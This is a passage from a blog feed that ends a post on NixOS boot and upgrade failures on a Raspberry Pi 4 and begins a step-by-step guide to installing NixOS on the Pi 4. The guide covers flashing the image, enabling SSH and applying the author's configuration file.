&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>installing the boot loader...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>removing user ‘nixos’
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>setting up /etc...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>removing obsolete symlink ‘/etc/hostid’...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>removing obsolete symlink ‘/etc/systemd/pstore.conf’...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>removing obsolete symlink ‘/etc/zfs/zpool.d’...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>umount: ???: umount failed: No such file or directory.
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>If I power cycle the Pi at that point, it successfully boots into the new NixOS install, but there&amp;rsquo;s no desktop GUI, just a terminal:&lt;/p>




&lt;figure class="video" style="max-width: 800px">
 &lt;div class="video-inner">
 &lt;video controls>
 &lt;source src="nixos-23.05-no-gui.mp4" type="video/mp4">
 Your browser does not support the video tag.
 &lt;/video>
 
 &lt;figcaption>&lt;p>The NixOS 22.11 microSD image fails to boot on a Raspberry Pi 4.&lt;/p>&lt;/figcaption>
 
 &lt;/div>
&lt;/figure>

&lt;p>&lt;strong>Update (2023-08-18)&lt;/strong>: This is &lt;a href="https://github.com/nixos/nixos-hardware/issues/631">now fixed&lt;/a>.&lt;/p>
&lt;h2 id="nixos-2205-and-2211-cant-boot-on-a-pi-4">NixOS 22.05 and 22.11 can&amp;rsquo;t boot on a Pi 4&lt;/h2>
&lt;p>After failing to configure NixOS&amp;rsquo;s microSD image using version 23.05, I tried again with &lt;code>nixos-sd-image-22.11.4604.fc95eb4fc3c-aarch64-linux.img&lt;/code>, but it failed to boot. I tried a few times, and it always either drops the signal entirely or displays a green screen:&lt;/p>




&lt;figure class="video" style="max-width: 800px">
 &lt;div class="video-inner">
 &lt;video controls>
 &lt;source src="nixos-22.11-boot-fail.mp4" type="video/mp4">
 Your browser does not support the video tag.
 &lt;/video>
 
 &lt;figcaption>&lt;p>The NixOS 22.11 microSD image fails to boot on a Raspberry Pi 4.&lt;/p>&lt;/figcaption>
 
 &lt;/div>
&lt;/figure>

&lt;p>I tried again with &lt;code>nixos-sd-image-22.05.4694.380be19fbd2-aarch64-linux.img&lt;/code> and got the same result.&lt;/p>
&lt;h2 id="reboot-command-doesnt-work">&lt;code>reboot&lt;/code> command doesn&amp;rsquo;t work&lt;/h2>
&lt;p>I found that after applying my initial &lt;code>configuration.nix&lt;/code> file with &lt;code>sudo nixos-rebuild boot&lt;/code>, the &lt;code>reboot&lt;/code> and &lt;code>shutdown&lt;/code> commands fail:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>[nixos@nixos:~]$ reboot
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Failed to set wall message, ignoring: Transport endpoint is not connected
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Failed to reboot system via logind: Transport endpoint is not connected
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Failed to talk to init daemon.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>[nixos@nixos:~]$ shutdown -h now
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Failed to set wall message, ignoring: Transport endpoint is not connected
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Failed to power off system via logind: Transport endpoint is not connected
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Failed to talk to init daemon.
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I was able to work around this by running &lt;code>sudo poweroff --reboot&lt;/code>.&lt;/p>
&lt;h2 id="the-latest-pi-hardware-version-doesnt-work">The latest Pi hardware version doesn&amp;rsquo;t work&lt;/h2>
&lt;p>You may have noticed that &lt;a href="https://mtlynch.io/nixos-pi4/configuration.nix">my &lt;code>configuration.nix&lt;/code> file&lt;/a> depends on the &lt;a href="https://github.com/NixOS/nixos-hardware">NixOS/nixos-hardware&lt;/a> repository, but not the latest version:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-nix" data-lang="nix">&lt;span style="display:flex;">&lt;span>nixosHardwareVersion = &lt;span style="color:#ed9d13">&amp;#34;ad1114ee372a52aa0b4934f72835bd14a212a642&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>imports = [&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#24909d">fetchTarball&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;https://github.com/NixOS/nixos-hardware/archive/&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>nixosHardwareVersion&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">.tar.gz&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">/raspberry-pi/4&amp;#34;&lt;/span>];
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I &lt;a href="https://github.com/NixOS/nixos-hardware/issues/651">reported this bug&lt;/a>, and Alex Groleau from the NixOS docs team &lt;a href="https://github.com/NixOS/nixos-hardware/issues/651#issuecomment-1630066858">let me know&lt;/a> that on current versions of NixOS, the &lt;code>nixos-hardware&lt;/code> repo isn&amp;rsquo;t necessary at all. I haven&amp;rsquo;t tested whether NixOS 21.11 can install without it, so I&amp;rsquo;ve left it in for now.&lt;/p>
&lt;h2 id="updating-to-a-later-nixos-version-doesnt-work">Updating to a later NixOS version doesn&amp;rsquo;t work&lt;/h2>
&lt;p>Even though &lt;a href="#the-latest-nixos-2305-microsd-doesnt-work-on-raspberry-pi-4">installing from the 23.05 NixOS disk image failed&lt;/a>, I thought I&amp;rsquo;d work around the issue by doing an in-place upgrade of NixOS from 21.11 to 23.05. Unfortunately, that failed, too.&lt;/p>
&lt;p>I tried installing 21.11 through my process above then rebuilding for 23.05 with the following commands:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">TARGET_RELEASE&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;23.05&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sudo nix-channel &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --add &lt;span style="color:#ed9d13">&amp;#34;https://nixos.org/channels/nixos-&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">TARGET_RELEASE&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> nixos &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> sudo nix-channel --update &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> sudo nixos-rebuild --upgrade boot &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> sudo reboot
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>That process ultimately failed with the &lt;a href="https://github.com/NixOS/nixos-hardware/issues/631">same error&lt;/a> as installing from the 23.05 disk image:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>Failed to apply &amp;#39;/nix/store/22l342jmwsaazvnz1zd5qq5m3b3ppsbd-rpi4-vc4-fkms-v3d-overlay-dtbo&amp;#39;: FDT_ERR_NOTFOUND
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>building &amp;#39;/nix/store/w052x98nzkbvmxcmb8wdgmfgqrf8vzv4-smb-dummy.conf.drv&amp;#39;...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>error: builder for &amp;#39;/nix/store/cgv9mmkhwy6gc4y48pfmxnjam46404kr-device-tree-overlays.drv&amp;#39; failed with exit code 1
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>error: 1 dependencies of derivation &amp;#39;/nix/store/5hbkqaz7ldjf5565zakjqxx4xrk5dvn9-nixos-system-pinix-23.05.1156.ad157fe26e7.drv&amp;#39; failed to build
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></content:encoded></item><item><title>Installing NixOS on Raspberry Pi 4</title><link>https://mtlynch.io/nixos-pi4/</link><pubDate>Tue, 18 Jul 2023 00:00:00 +0000</pubDate><guid>https://mtlynch.io/nixos-pi4/</guid><description>&lt;p>&lt;a href="https://nixos.org/">Nix&lt;/a> is a tool that allows you to define your software environment from code. Nix has several components to it, and one of the most interesting to me is NixOS, which lets you use Nix tooling to define your entire OS configuration using plaintext files.&lt;/p>
&lt;p>I only recently started &lt;a href="https://mtlynch.io/notes/nix-first-impressions/">experimenting with Nix&lt;/a>, and there&amp;rsquo;s a huge amount to learn. One of the first things I tried to do was &lt;a href="https://mtlynch.io/notes/nix-first-impressions/#failed-attempt-2-nixos-on-the-raspberry-pi-4">install NixOS on my Raspberry Pi&lt;/a>, but my first several attempts failed. Every NixOS Pi tutorial I could find was either incomplete or out of date.&lt;/p></description><content:encoded>&lt;p>&lt;a href="https://nixos.org/">Nix&lt;/a> is a tool that allows you to define your software environment from code. Nix has several components to it, and one of the most interesting to me is NixOS, which lets you use Nix tooling to define your entire OS configuration using plaintext files.&lt;/p>
&lt;p>I only recently started &lt;a href="https://mtlynch.io/notes/nix-first-impressions/">experimenting with Nix&lt;/a>, and there&amp;rsquo;s a huge amount to learn. One of the first things I tried to do was &lt;a href="https://mtlynch.io/notes/nix-first-impressions/#failed-attempt-2-nixos-on-the-raspberry-pi-4">install NixOS on my Raspberry Pi&lt;/a>, but my first several attempts failed. Every NixOS Pi tutorial I could find was either incomplete or out of date.&lt;/p>
&lt;p>I present to you my complete and working guide to installing NixOS on a Raspberry Pi 4. I&amp;rsquo;m a newcomer to NixOS, so this guide is for Nix beginners, but I assume you have basic familiarity with Raspberry Pi and Linux.&lt;/p>
&lt;h2 id="requirements">Requirements&lt;/h2>
&lt;p>To follow this tutorial, you&amp;rsquo;ll need:&lt;/p>
&lt;ul>
&lt;li>A Raspberry Pi 4 with at least 2 GB of RAM&lt;/li>
&lt;li>A microSD card with at least 8 GB of storage&lt;/li>
&lt;li>A microSD writer&lt;/li>
&lt;li>A separate computer to flash the microSD card&lt;/li>
&lt;/ul>
&lt;h2 id="download-the-nixos-microsd-image">Download the NixOS microSD image&lt;/h2>
&lt;p>To begin, download the NixOS microSD image from the link below:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://hydra.nixos.org/build/231913696/download/1/nixos-sd-image-23.11pre515819.8ecc900b2f69-aarch64-linux.img.zst">nixos-sd-image-23.11pre515819.8ecc900b2f69-aarch64-linux&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>You can find later images on Nix&amp;rsquo;s build server by checking the &lt;a href="https://hydra.nixos.org/job/nixos/trunk-combined/nixos.sd_image.aarch64-linux">most recent build&lt;/a> with a green check mark.&lt;/p>
&lt;p>I recently attempted this process with a later build (&lt;a href="https://hydra.nixos.org/build/286072374">&lt;code>nixos-image-sd-card-25.05beta741800.78886a72ed11&lt;/code>&lt;/a>, built on 2025-01-19), but the install failed. The later &lt;code>nixos-build&lt;/code> step exhausted my Pi 4&amp;rsquo;s 2 GB of RAM.&lt;/p>
&lt;h2 id="decompress-the-nixos-microsd-image">Decompress the NixOS microSD image&lt;/h2>
&lt;p>The NixOS team compresses their microSD images with a compression format called &lt;a href="https://facebook.github.io/zstd/">Zstandard&lt;/a>, an open-source format from Facebook.&lt;/p>
&lt;p>To decompress the NixOS image, download the latest Zstandard release for your platform:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://github.com/facebook/zstd/releases/latest">Zstandard releases&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>Once you have both the Zstandard tool and the NixOS microSD image, decompress the &lt;code>.img.zst&lt;/code> file with the following command:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>zstd --decompress &lt;span style="color:#ed9d13">&amp;#39;nixos-sd-image-23.11pre515819.8ecc900b2f69-aarch64-linux.img.zst&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Decompressing the Zstandard file should produce a file called &lt;code>nixos-sd-image-23.11pre515819.8ecc900b2f69-aarch64-linux.img&lt;/code>.&lt;/p>
&lt;h2 id="flash-the-nixos-microsd-image">Flash the NixOS microSD image&lt;/h2>
&lt;p>After you&amp;rsquo;ve decompressed the image, flash it to a microSD using your favorite microSD flashing utility.&lt;/p>
&lt;p>When you flash the microSD, choose the &lt;code>.img&lt;/code> file rather than the &lt;code>.img.zst&lt;/code> file, as most flashing tools won&amp;rsquo;t understand the Zstandard format.&lt;/p>
&lt;h3 id="option-1-balenaetcher">Option 1: balenaEtcher&lt;/h3>
&lt;p>If you don&amp;rsquo;t know which microSD flashing tool to use, I recommend &lt;a href="https://etcher.balena.io/">balenaEtcher&lt;/a>. It&amp;rsquo;s user-friendly and works on every major OS.&lt;/p>




















 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 802px">



 &lt;a href="https://mtlynch.io/nixos-pi4/balena-etcher-nixos.webp">
 &lt;img
 
 sizes="(min-width: 768px) 802px, 98vw"
 srcset='https://mtlynch.io/nixos-pi4/balena-etcher-nixos_hu_5678818335bc6d36.webp 300w, https://mtlynch.io/nixos-pi4/balena-etcher-nixos_hu_51e00a2ab0f2d856.webp 600w, https://mtlynch.io/nixos-pi4/balena-etcher-nixos_hu_969c350a8632a938.webp 800w, https://mtlynch.io/nixos-pi4/balena-etcher-nixos.webp 802w'
 src="https://mtlynch.io/nixos-pi4/balena-etcher-nixos.webp" alt="Screenshot of balenaEtcher" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;h3 id="option-2-caligula">Option 2: caligula&lt;/h3>
&lt;p>balenaEtcher is not available on NixOS, so if you&amp;rsquo;re on NixOS, a good alternative is &lt;a href="https://github.com/ifd3f/caligula">caligula&lt;/a>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>caligula burn &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> nixos-sd-image-23.11pre515819.8ecc900b2f69-aarch64-linux.img.zst
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>caligula natively supports Zstandard file compression, so you don&amp;rsquo;t need to decompress the image first.&lt;/p>




















 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 1122px">



 &lt;a href="https://mtlynch.io/nixos-pi4/caligula.webp">
 &lt;img
 
 sizes="(min-width: 768px) 1122px, 98vw"
 srcset='https://mtlynch.io/nixos-pi4/caligula_hu_b3a41aa3f7ccc95c.webp 300w, https://mtlynch.io/nixos-pi4/caligula_hu_7c36a2d1a8a71969.webp 600w, https://mtlynch.io/nixos-pi4/caligula_hu_519c361016d349f3.webp 800w, https://mtlynch.io/nixos-pi4/caligula.webp 1122w'
 src="https://mtlynch.io/nixos-pi4/caligula.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;h2 id="insert-the-microsd-card-into-your-pi">Insert the microSD card into your Pi&lt;/h2>
&lt;p>After you flash the microSD, insert it into the microSD slot of your Raspberry Pi:&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 360px">



 &lt;a href="https://mtlynch.io/nixos-pi4/insert-microsd.webp">
 &lt;img
 
 sizes="(min-width: 768px) 360px, 98vw"
 srcset='https://mtlynch.io/nixos-pi4/insert-microsd_hu_2b8ccd667800daea.webp 300w, https://mtlynch.io/nixos-pi4/insert-microsd_hu_59a1a9bc316a845a.webp 600w, https://mtlynch.io/nixos-pi4/insert-microsd_hu_3c9557be982bffb7.webp 800w, https://mtlynch.io/nixos-pi4/insert-microsd_hu_dd79b97a0f69e1ca.webp 1200w, https://mtlynch.io/nixos-pi4/insert-microsd.webp 1600w'
 src="https://mtlynch.io/nixos-pi4/insert-microsd.webp" alt="Photo of microSD inserted into microSD slot of Raspberry Pi" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Insert the flashed microSD card into your Pi&amp;rsquo;s microSD slot.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h2 id="connect-a-display-and-keyboard-to-your-pi">Connect a display and keyboard to your Pi&lt;/h2>
&lt;p>Most Raspberry Pi images offer a way to access the device over the network on the first boot. I haven&amp;rsquo;t found a way to do that with NixOS, so you&amp;rsquo;ll need to temporarily connect a keyboard and HDMI display to your Pi to see what&amp;rsquo;s happening.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 500px">



 &lt;a href="https://mtlynch.io/nixos-pi4/keyboard-setup.webp">
 &lt;img
 
 sizes="(min-width: 768px) 500px, 98vw"
 srcset='https://mtlynch.io/nixos-pi4/keyboard-setup_hu_7d10ddc8494d299.webp 300w, https://mtlynch.io/nixos-pi4/keyboard-setup_hu_32f50c3fee02f6f.webp 600w, https://mtlynch.io/nixos-pi4/keyboard-setup_hu_e68599ebbe4e2d2.webp 800w, https://mtlynch.io/nixos-pi4/keyboard-setup_hu_30548bb56a918565.webp 1200w, https://mtlynch.io/nixos-pi4/keyboard-setup.webp 1600w'
 src="https://mtlynch.io/nixos-pi4/keyboard-setup.webp" alt="Photo of HDMI display and keyboard connected to a Raspberry Pi as it boots NixOS" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>NixOS has no fully-networked install, so you&amp;rsquo;ll need to connect a keyboard and HDMI display during the initial setup.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>For this tutorial, I&amp;rsquo;m controlling my Pi with &lt;a href="https://tinypilotkvm.com">TinyPilot&lt;/a>, a device &lt;a href="https://mtlynch.io/tinypilot/">I created for situations just like this&lt;/a>.&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 360px">



 &lt;a href="https://mtlynch.io/nixos-pi4/tinypilot-setup.webp">
 &lt;img
 
 sizes="(min-width: 768px) 360px, 98vw"
 srcset='https://mtlynch.io/nixos-pi4/tinypilot-setup_hu_e6a22e016d2da015.webp 300w, https://mtlynch.io/nixos-pi4/tinypilot-setup_hu_1260739a7f31e706.webp 600w, https://mtlynch.io/nixos-pi4/tinypilot-setup_hu_2e2aabaefa107b57.webp 800w, https://mtlynch.io/nixos-pi4/tinypilot-setup_hu_369bc0c058a40ffa.webp 1200w, https://mtlynch.io/nixos-pi4/tinypilot-setup.webp 1600w'
 src="https://mtlynch.io/nixos-pi4/tinypilot-setup.webp" alt="Photo of TinyPilot connected to a Raspberry Pi 4" loading="lazy"/>
 &lt;/a>



&lt;/div>















 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 410px">



 &lt;a href="https://mtlynch.io/nixos-pi4/plasma-desktop2.webp">
 &lt;img
 
 sizes="(min-width: 768px) 410px, 98vw"
 srcset='https://mtlynch.io/nixos-pi4/plasma-desktop2_hu_7924b0209826d5d.webp 300w, https://mtlynch.io/nixos-pi4/plasma-desktop2_hu_93ada19cb56c06ff.webp 600w, https://mtlynch.io/nixos-pi4/plasma-desktop2_hu_dc379dc6ec06fe14.webp 800w, https://mtlynch.io/nixos-pi4/plasma-desktop2_hu_72add181dfe9b07e.webp 1200w, https://mtlynch.io/nixos-pi4/plasma-desktop2.webp 1700w'
 src="https://mtlynch.io/nixos-pi4/plasma-desktop2.webp" alt="Screenshot of TinyPilot controlling a NixOS system running the Plasma desktop environment" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>I installed NixOS on my Raspberry Pi using TinyPilot device, as it saved me from having to hop back and forth between keyboards.&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;p>You don&amp;rsquo;t need a TinyPilot for this tutorial, as you can follow along with a plain old keyboard and HDMI display.&lt;/p>
&lt;h2 id="boot-your-nixos-system">Boot your NixOS system&lt;/h2>
&lt;p>It&amp;rsquo;s time for the moment of truth. Power on your Raspberry Pi.&lt;/p>
&lt;p>If everything went well, you should see a boot sequence like the following:&lt;/p>




&lt;figure class="video" style="max-width: 800px">
 &lt;div class="video-inner">
 &lt;video controls>
 &lt;source src="nixos-21.11-successful-boot.mp4" type="video/mp4">
 Your browser does not support the video tag.
 &lt;/video>
 
 &lt;figcaption>&lt;p>A successful boot of the NixOS microSD image on a Raspberry Pi 4.&lt;/p>&lt;/figcaption>
 
 &lt;/div>
&lt;/figure>

&lt;p>The boot is complete when you see the NixOS command prompt:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>[nixos@nixos~:]$
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>If the boot failed, try &lt;a href="#upgrade-to-the-latest-pi-bootloader">updating your Pi&amp;rsquo;s bootloader&lt;/a> to the latest available version and then trying again.&lt;/p>
&lt;h2 id="enable-ssh-access-optional">Enable SSH access (optional)&lt;/h2>
&lt;p>When working with Raspberry Pis, I find SSH much more convenient than typing on a separate keyboard.&lt;/p>
&lt;p>There are two options for enabling SSH access on a fresh NixOS system.&lt;/p>
&lt;h3 id="option-1-add-a-password">Option 1: Add a password&lt;/h3>
&lt;p>On the NixOS system, you can assign a password to the default &lt;code>nixos&lt;/code> user account by running the following command:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>passwd
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Once you&amp;rsquo;ve set a password, you can SSH into your NixOS system normally:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>ssh nixos@nixos.local
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="option-2-add-an-ssh-key">Option 2: Add an SSH key&lt;/h3>
&lt;p>You can also add your SSH public key as an authorized key on the system.&lt;/p>
&lt;p>If you authenticate to GitHub with SSH keys, GitHub offers a convenient way to download your public SSH key to any device:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">GITHUB_USERNAME&lt;/span>=&lt;span style="color:#ed9d13">&amp;#39;your-github-username&amp;#39;&lt;/span> &lt;span style="color:#999;font-style:italic"># Replace this.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>mkdir -p ~/.ssh &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> curl &lt;span style="color:#ed9d13">&amp;#34;https://github.com/&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">GITHUB_USERNAME&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">.keys&amp;#34;&lt;/span> &amp;gt; ~/.ssh/authorized_keys
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>If you see an error that says &lt;code>certificate is not valid yet&lt;/code>, it means that your Pi is still synchronizing its system time. Wait 60 seconds, and try the command again.&lt;/p>
&lt;p>Once you&amp;rsquo;ve added your public SSH key to the NixOS system, you can SSH in like normal:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>ssh nixos@nixos.local
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="write-the-nixos-configuration-file">Write the NixOS configuration file&lt;/h2>
&lt;p>You&amp;rsquo;re now in NixOS!&lt;/p>
&lt;p>There&amp;rsquo;s not much you can do yet because it&amp;rsquo;s a minimal NixOS environment with nothing installed.&lt;/p>
&lt;p>To make your NixOS experience more interesting, install a desktop GUI and a few applications. To begin, download &lt;a href="https://mtlynch.io/nixos-pi4/configuration.nix">my example NixOS configuration file&lt;/a>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>curl &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --show-error &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --fail &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> https://mtlynch.io/nixos-pi4/configuration.nix &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> | sudo tee /etc/nixos/configuration.nix
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>You can make changes to &lt;code>/etc/nixos/configuration.nix&lt;/code> at this point using &lt;code>nano&lt;/code> or &lt;code>vim&lt;/code>. You might want to change the &lt;code>hostname&lt;/code>, &lt;code>user&lt;/code>, or &lt;code>password&lt;/code> values at the top.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>sudo nano /etc/nixos/configuration.nix
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Don&amp;rsquo;t worry too much about perfecting the configuration file just yet. With NixOS, you can change your mind about any option at any time, and applying the change is as easy as editing the configuration file again.&lt;/p>
&lt;p>When you&amp;rsquo;re happy with your &lt;code>configuration.nix&lt;/code> file, run these commands to apply the configuration to your system and reboot:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>sudo nixos-rebuild boot &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> &lt;span style="color:#24909d">echo&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;install complete, rebooting...&amp;#34;&lt;/span> &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> sudo poweroff --reboot
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>When the reboot completes, you should see a screen that looks like this:&lt;/p>




















 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 1769px">



